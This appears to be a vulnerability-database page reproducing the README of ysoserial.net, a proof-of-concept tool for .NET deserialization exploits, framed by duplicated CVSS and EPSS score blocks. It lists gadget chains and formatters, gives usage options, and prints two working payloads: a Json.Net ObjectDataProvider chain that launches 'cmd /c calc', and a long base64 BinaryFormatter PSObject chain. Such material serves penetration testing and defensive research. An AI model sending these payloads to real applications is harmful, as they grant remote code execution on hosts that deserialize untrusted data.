8.1 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
HIGH
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
9.1 High
AI Score
Confidence
High
9.3 High
CVSS2
Access Vector
NETWORK
Access Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:M/Au:N/C:C/I:C/A:C
0.196 Low
EPSS
Percentile
96.3%
A proof-of-concept tool for generating payloads that exploit unsafe .NET object deserialization.
Description
ysoserial.net is a collection of utilities and property-oriented programming âgadget chainsâ discovered in common .NET libraries that can, under the right conditions, exploit .NET applications performing unsafe deserialization of objects. The main driver program takes a user-specified command and wraps it in the user-specified gadget chain, then serializes these objects to stdout. When an application with the required gadgets on the classpath unsafely deserializes this data, the chain will automatically be invoked and cause the command to be executed on the application host.
It should be noted that the vulnerability lies in the application performing unsafe deserialization and NOT in having gadgets on the classpath.
This project is inspired by Chris Frohoffâs ysoserial project
Usage
$ ./ysoserial -h
ysoserial.net generates deserialization payloads for a variety of .NET formatters.
Available formatters:
ActivitySurrogateSelector (ActivitySurrogateSelector gadget by James Forshaw. This gadget ignores the command parameter and executes the constructor of ExploitClass class.)
Formatters:
BinaryFormatter
ObjectStateFormatter
SoapFormatter
LosFormatter
ObjectDataProvider (ObjectDataProvider Gadget by Oleksandr Mirosh and Alvaro Munoz)
Formatters:
Json.Net
FastJson
JavaScriptSerializer
PSObject (PSObject Gadget by Oleksandr Mirosh and Alvaro Munoz. Target must run a system not patched for CVE-2017-8565 (Published: 07/11/2017))
Formatters:
BinaryFormatter
ObjectStateFormatter
SoapFormatter
NetDataContractSerializer
LosFormatter
TypeConfuseDelegate (TypeConfuseDelegate gadget by James Forshaw)
Formatters:
BinaryFormatter
ObjectStateFormatter
NetDataContractSerializer
LosFormatter
WindowsIdentity (WindowsIdentity Gadget by Levi Broderick)
Formatters:
Json.Net
Usage: ysoserial.exe [options]
Options:
-o, --output=VALUE the output format (raw|base64).
-g, --gadget=VALUE the gadget chain.
-f, --formatter=VALUE the formatter.
-c, --command=VALUE the command to be executed.
-t, --test whether to run payload locally. Default: false
-h, --help show this message and exit
Examples
$ ./ysoserial.exe -f Json.Net -g ObjectDataProvider -o raw -c "calc" -t
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd','/ccalc']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}
$ ./ysoserial.exe -f BinaryFormatter -g PSObject -o base64 -c "calc" -t
AAEAAAD/////AQAAAAAAAAAMAgAAAF9TeXN0ZW0uTWFuYWdlbWVudC5BdXRvbWF0aW9uLCBWZXJzaW9uPTMuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49MzFiZjM4NTZhZDM2NGUzNQUBAAAAJVN5c3RlbS5NYW5hZ2VtZW50LkF1dG9tYXRpb24uUFNPYmplY3QBAAAABkNsaVhtbAECAAAABgMAAACJFQ0KPE9ianMgVmVyc2lvbj0iMS4xLjAuMSIgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vcG93ZXJzaGVsbC8yMDA0LzA0Ij4mI3hEOw0KPE9iaiBSZWZJZD0iMCI+JiN4RDsNCiAgICA8VE4gUmVmSWQ9IjAiPiYjeEQ7DQogICAgICA8VD5NaWNyb3NvZnQuTWFuYWdlbWVudC5JbmZyYXN0cnVjdHVyZS5DaW1JbnN0YW5jZSNTeXN0ZW0uTWFuYWdlbWVudC5BdXRvbWF0aW9uL1J1bnNwYWNlSW52b2tlNTwvVD4mI3hEOw0KICAgICAgPFQ+TWljcm9zb2Z0Lk1hbmFnZW1lbnQuSW5mcmFzdHJ1Y3R1cmUuQ2ltSW5zdGFuY2UjUnVuc3BhY2VJbnZva2U1PC9UPiYjeEQ7DQogICAgICA8VD5NaWNyb3NvZnQuTWFuYWdlbWVudC5JbmZyYXN0cnVjdHVyZS5DaW1JbnN0YW5jZTwvVD4mI3hEOw0KICAgICAgPFQ+U3lzdGVtLk9iamVjdDwvVD4mI3hEOw0KICAgIDwvVE4+JiN4RDsNCiAgICA8VG9TdHJpbmc+UnVuc3BhY2VJbnZva2U1PC9Ub1N0cmluZz4mI3hEOw0KICAgIDxPYmogUmVmSWQ9IjEiPiYjeEQ7DQogICAgICA8VE5SZWYgUmVmSWQ9IjAiIC8+JiN4RDsNCiAgICAgIDxUb1N0cmluZz5SdW5zcGFjZUludm9rZTU8L1RvU3RyaW5nPiYjeEQ7DQogICAgICA8UHJvcHM+JiN4RDsNCiAgICAgICAgPE5pbCBOPSJQU0NvbXB1dGVyTmFtZSIgLz4mI3hEOw0KCQk8T2JqIE49InRlc3QxIiBSZWZJZCA9IjIwIiA+ICYjeEQ7DQogICAgICAgICAgPFROIFJlZklkPSIxIiA+ICYjeEQ7DQogICAgICAgICAgICA8VD5TeXN0ZW0uV2luZG93cy5NYXJrdXAuWGFtbFJlYWRlcltdLCBQcmVzZW50YXRpb25GcmFtZXdvcmssIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1PC9UPiYjeEQ7DQogICAgICAgICAgICA8VD5TeXN0ZW0uQXJyYXk8L1Q+JiN4RDsNCiAgICAgICAgICAgIDxUPlN5c3RlbS5PYmplY3Q8L1Q+JiN4RDsNCiAgICAgICAgICA8L1ROPiYjeEQ7DQogICAgICAgICAgPExTVD4mI3hEOw0KICAgICAgICAgICAgPFMgTj0iSGFzaCIgPiAgDQoJCSZsdDtSZXNvdXJjZURpY3Rpb25hcnkNCiAgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiINCiAgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiDQogIHhtbG5zOlN5c3RlbT0iY2xyLW5hbWVzcGFjZTpTeXN0ZW07YXNzZW1ibHk9bXNjb3JsaWIiDQogIHhtbG5zOkRpYWc9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PXN5c3RlbSImZ3Q7DQoJICZsdDtPYmplY3REYXRhUHJvdmlkZXIgeDpLZXk9IkxhdW5jaENhbGMiIE9iamVjdFR5cGUgPSAieyB4OlR5cGUgRGlhZzpQcm9jZXNzfSIgTWV0aG9kTmFtZSA9ICJTdGFydCIgJmd0Ow0KICAgICAmbHQ7T2JqZWN0RGF0YVByb3ZpZGVyLk1ldGhvZFBhcmFtZXRlcnMmZ3Q7DQogICAgICAgICZsdDtTeXN0ZW06U3RyaW5nJmd0O2NtZCZsdDsvU3lzdGVtOlN0cmluZyZndDsNCiAgICAgICAgJmx0O1N5c3RlbTpTdHJpbmcmZ3Q7L2MgImNhbGMiICZsdDsvU3lzdGVtOlN0cmluZyZndDsNCiAgICAgJmx0Oy9PYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycyZndDsNCiAgICAmbHQ7L09iamVjdERhdGFQcm92aWRlciZndDsNCiZsdDsvUmVzb3VyY2VEaWN0aW9uYXJ5Jmd0Ow0KCQkJPC9TPiYjeEQ7DQogICAgICAgICAgPC9MU1Q+JiN4RDsNCiAgICAgICAgPC9PYmo+JiN4RDsNCiAgICAgIDwvUHJvcHM+JiN4RDsNCiAgICAgIDxNUz4mI3hEOw0KICAgICAgICA8T2JqIE49Il9fQ2xhc3NNZXRhZGF0YSIgUmVmSWQgPSIyIj4gJiN4RDsNCiAgICAgICAgICA8VE4gUmVmSWQ9IjEiID4gJiN4RDsNCiAgICAgICAgICAgIDxUPlN5c3RlbS5Db2xsZWN0aW9ucy5BcnJheUxpc3Q8L1Q+JiN4RDsNCiAgICAgICAgICAgIDxUPlN5c3RlbS5PYmplY3Q8L1Q+JiN4RDsNCiAgICAgICAgICA8L1ROPiYjeEQ7DQogICAgICAgICAgPExTVD4mI3hEOw0KICAgICAgICAgICAgPE9iaiBSZWZJZD0iMyI+ICYjeEQ7DQogICAgICAgICAgICAgIDxNUz4mI3hEOw0KICAgICAgICAgICAgICAgIDxTIE49IkNsYXNzTmFtZSI+UnVuc3BhY2VJbnZva2U1PC9TPiYjeEQ7DQogICAgICAgICAgICAgICAgPFMgTj0iTmFtZXNwYWNlIj5TeXN0ZW0uTWFuYWdlbWVudC5BdXRvbWF0aW9uPC9TPiYjeEQ7DQogICAgICAgICAgICAgICAgPE5pbCBOPSJTZXJ2ZXJOYW1lIiAvPiYjeEQ7DQogICAgICAgICAgICAgICAgPEkzMiBOPSJIYXNoIj40NjA5MjkxOTI8L0kzMj4mI3hEOw0KICAgICAgICAgICAgICAgIDxTIE49Ik1pWG1sIj4gJmx0O0NMQVNTIE5BTUU9IlJ1bnNwYWNlSW52b2tlNSIgJmd0OyZsdDtQUk9QRVJUWSBOQU1FPSJ0ZXN0MSIgVFlQRSA9InN0cmluZyIgJmd0OyZsdDsvUFJPUEVSVFkmZ3Q7Jmx0Oy9DTEFTUyZndDs8L1M+JiN4RDsNCiAgICAgICAgICAgICAgPC9NUz4mI3hEOw0KICAgICAgICAgICAgPC9PYmo+JiN4RDsNCiAgICAgICAgICA8L0xTVD4mI3hEOw0KICAgICAgICA8L09iaj4mI3hEOw0KICAgICAgPC9NUz4mI3hEOw0KICAgIDwvT2JqPiYjeEQ7DQogICAgPE1TPiYjeEQ7DQogICAgICA8UmVmIE49Il9fQ2xhc3NNZXRhZGF0YSIgUmVmSWQgPSIyIiAvPiYjeEQ7DQogICAgPC9NUz4mI3hEOw0KICA8L09iaj4mI3hEOw0KPC9PYmpzPgs=
Contributing
git checkout -b my-new-feature
)git commit -am 'Add some feature'
)git push origin my-new-feature
)Additional Reading
8.1 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
HIGH
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
9.1 High
AI Score
Confidence
High
9.3 High
CVSS2
Access Vector
NETWORK
Access Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:M/Au:N/C:C/I:C/A:C
0.196 Low
EPSS
Percentile
96.3%